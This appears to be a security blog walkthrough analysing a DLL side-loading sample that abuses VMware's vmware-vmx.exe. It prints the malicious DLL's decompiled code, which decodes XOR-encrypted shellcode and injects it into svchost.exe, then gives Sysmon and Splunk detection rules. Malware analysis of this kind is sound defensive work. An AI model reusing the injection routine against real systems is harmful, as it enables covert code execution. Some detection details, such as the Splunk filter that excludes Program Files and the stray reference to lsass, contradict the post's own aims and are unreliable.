DLL Side-Loading in Practice: A Walkthrough of a Real Sample

1 March 2023 | justruss.tech

DLL side-loading abuses the Windows DLL search order. When an executable calls LoadLibrary with a relative path (just a filename, no directory), Windows searches in this order: the directory containing the executable, the current working
directory, System32, SysWOW64, Windows directory, then PATH directories. By placing a malicious DLL in the same directory as a legitimate executable, an attacker ensures their DLL loads instead of the legitimate one.

The sample — VMware side-loading

The sample uses VMware Workstation’s vmware-vmx.exe as the carrier. VMware loads several DLLs from its installation directory by name. The target DLL is version.dll — a Windows system DLL that VMware loads for version
checking functions.

# Verify the legitimate VMware binary loads version.dll
# Using Process Monitor during VMware startup:
# Path: C:\Program Files (x86)\VMware\VMware Workstation\version.dll
# Result: NAME NOT FOUND
# Path: C:\Windows\system32\version.dll
# Result: SUCCESS

# The "NAME NOT FOUND" for the local directory is the vulnerability
# If we place version.dll there, it will load instead

Static analysis — identifying the malicious DLL

# Check if the DLL is signed
sigcheck64.exe -nobanner malicious_version.dll
# Verified:          Unsigned
# File description:  (empty)
# Original Name:     (empty)
# Internal Name:     (empty)

# The legitimate version.dll:
sigcheck64.exe C:\Windows\system32\version.dll
# Verified:          Signed
# Signing date:      (legitimate timestamp)
# Publisher:         Microsoft Windows

Open the malicious DLL in Ghidra. The DLL exports the same functions as the legitimate version.dll to prevent crashes:

GetFileVersionInfoA
GetFileVersionInfoByHandle
GetFileVersionInfoExA
GetFileVersionInfoExW
GetFileVersionInfoSizeA
GetFileVersionInfoSizeExA
GetFileVersionInfoSizeExW
GetFileVersionInfoSizeW
GetFileVersionInfoW
VerFindFileA
VerFindFileW
VerInstallFileA
VerInstallFileW
VerLanguageNameA
VerLanguageNameW
VerQueryValueA
VerQueryValueW

These are proxied to the real C:\Windows\System32\version.dll to maintain legitimate functionality. The malicious logic runs in DllMain:

// Decompiled DllMain (simplified from Ghidra output)
BOOL DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hModule);
        // Create thread for payload execution
        HANDLE hThread = CreateThread(NULL, 0, 
            (LPTHREAD_START_ROUTINE)payloadThread, NULL, 0, NULL);
        CloseHandle(hThread);
    }
    return TRUE;
}

DWORD WINAPI payloadThread(LPVOID lpParam) {
    // Decode XOR-encrypted shellcode
    unsigned char shellcode[] = { 0x48, 0x31, 0xc9, ... };
    unsigned char key[] = { 0xDE, 0xAD, 0xC0, 0xDE };
    for (int i = 0; i < sizeof(shellcode); i++) {
        shellcode[i] ^= key[i % 4];
    }
    
    // Allocate RWX memory in svchost.exe and inject
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
    LPVOID pRemote = VirtualAllocEx(hProc, NULL, sizeof(shellcode), 
                                     MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRemote, shellcode, sizeof(shellcode), NULL);
    CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
    return 0;
}

Dynamic analysis — Process Monitor

# ProcMon filter settings:
# Process Name: vmware-vmx.exe
# Operation: Load Image

# Capture output shows:
Time        Process       Operation  Path
23:22:41    vmware-vmx    Load Image C:\Program Files (x86)\VMware\...\version.dll
23:22:41    vmware-vmx    Load Image C:\Windows\System32\ntdll.dll
23:22:41    vmware-vmx    Create Thread (remote) -> svchost.exe PID 1234
23:22:41    svchost.exe   TCP Connect 203.0.113.50:443

Sysmon detection

Event ID 7 (ImageLoaded) with a rule targeting DLLs loaded from outside standard directories:

<ImageLoad onmatch="include">
  <!-- Flag DLLs loaded from Program Files subdirectories
       that exist in System32 (side-loading indicator) -->
  <ImageLoaded condition="contains">Program Files</ImageLoaded>
</ImageLoad>
<ImageLoad onmatch="exclude">
  <!-- Known legitimate vendor DLLs in Program Files - add yours -->
  <Signed condition="is">true</Signed>
</ImageLoad>

In Splunk, correlating Event ID 7 with a process-to-lsass network connection shortly after:

index=sysmon EventCode=7 earliest=-1h
  ImageLoaded!="C:\Windows\*" AND ImageLoaded!="C:\Program Files\*"
  Signed=false
| join type=inner host [ 
    search index=sysmon EventCode=3 DestinationIp!=10.0.0.0/8 earliest=-1h
]
| table _time, host, Image, ImageLoaded, DestinationIp, DestinationPort